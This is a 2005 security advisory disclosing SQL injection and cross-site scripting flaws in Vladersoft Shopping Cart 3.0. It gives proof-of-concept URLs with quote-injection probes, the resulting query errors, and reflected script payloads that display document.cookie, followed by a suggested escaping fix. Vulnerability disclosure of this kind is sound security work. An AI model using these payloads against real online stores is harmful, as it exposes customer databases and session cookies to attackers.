vladersoft30.txt

`  
  
Dcrab 's Security Advisory  
http://icis.digitalparadox.org/~dcrab  
http://www.hackerscenter.com/  
  
Severity: High  
Title: Multiple sql injection, and xss vulnerabilities in Vladersoft Shopping Cart v.3.0  
Date: March 27, 2005  
  
Summary:  
There are multiple sql injection, xss vulnerabilities in the Vladersoft Shopping Cart v.3.0.  
  
Proof of Concept Exploits:  
http://localhost/store/category.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION  
  
Query: "SELECT * FROM categories WHERE CategoryID = ''SQL_INJECTION'"  
  
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION'' at line 1  
  
  
http://localhost/store/item.php?sid=CDFE279AC2AD08522DF1CF9B46475132&id='SQL_INJECTION  
  
Query: "SELECT * FROM options WHERE OptionItemID = ''SQL_INJECTION' ORDER BY OptionPrice ASC"  
  
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION' ORDER BY OptionPrice ASC' at line 1  
  
  
http://localhost/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang='SQL_INJECTION  
  
Query: "SELECT CategoryID AS bookmarkID, CategoryName'SQL_INJECTION AS bookmarkName FROM categories WHERE CategoryID = '0'"  
  
Error 1064: You have an error in your SQL syntax near '0'' at line 1  
  
  
http://localhost/store/search_result.php?sid=&searchTopCategoryID=&searchQuery='SQL_INJECTION&sid=CDFE279AC2AD08522DF1CF9B464751  
  
32&currency=USD  
  
Query: "SELECT COUNT(*) FROM items AS I, categories AS C, categories_items AS CI WHERE CI.ItemID = I.ItemID AND CI.CategoryID =   
  
C.CategoryID AND I.ItemStatus = '1' AND I.ItemIndexedWords LIKE '%'SQL_INJECTION%'"  
  
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION%'' at line 8  
  
  
http://localhost/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID='SQL_INJECTION&searchQuery=&s  
  
id=CDFE279AC2AD08522DF1CF9B46475132&currency=USD  
  
Query: "SELECT COUNT(*) FROM items AS I, categories AS C, categories_items AS CI WHERE CI.ItemID = I.ItemID AND CI.CategoryID =   
  
C.CategoryID AND I.ItemStatus = '1' AND I.ItemIndexedWords LIKE '%%' AND CI.CategoryID = ''SQL_INJECTION'"  
  
Error 1064: You have an error in your SQL syntax near 'SQL_INJECTION'' at line 8  
  
  
http://localhost/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
Pops cookie  
  
http://localhost/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID=%22%3E%3Cscript%3Ealert(documen  
  
t.cookie)%3C/script%3E&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD  
  
Pops cookie  
  
Possible fix: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing   
  
user input to the mysql database, or before echoing data on the screen, would solve these problems.  
  
Author:  
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to   
  
contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my   
  
soon to come out book on Secure coding with php.  
`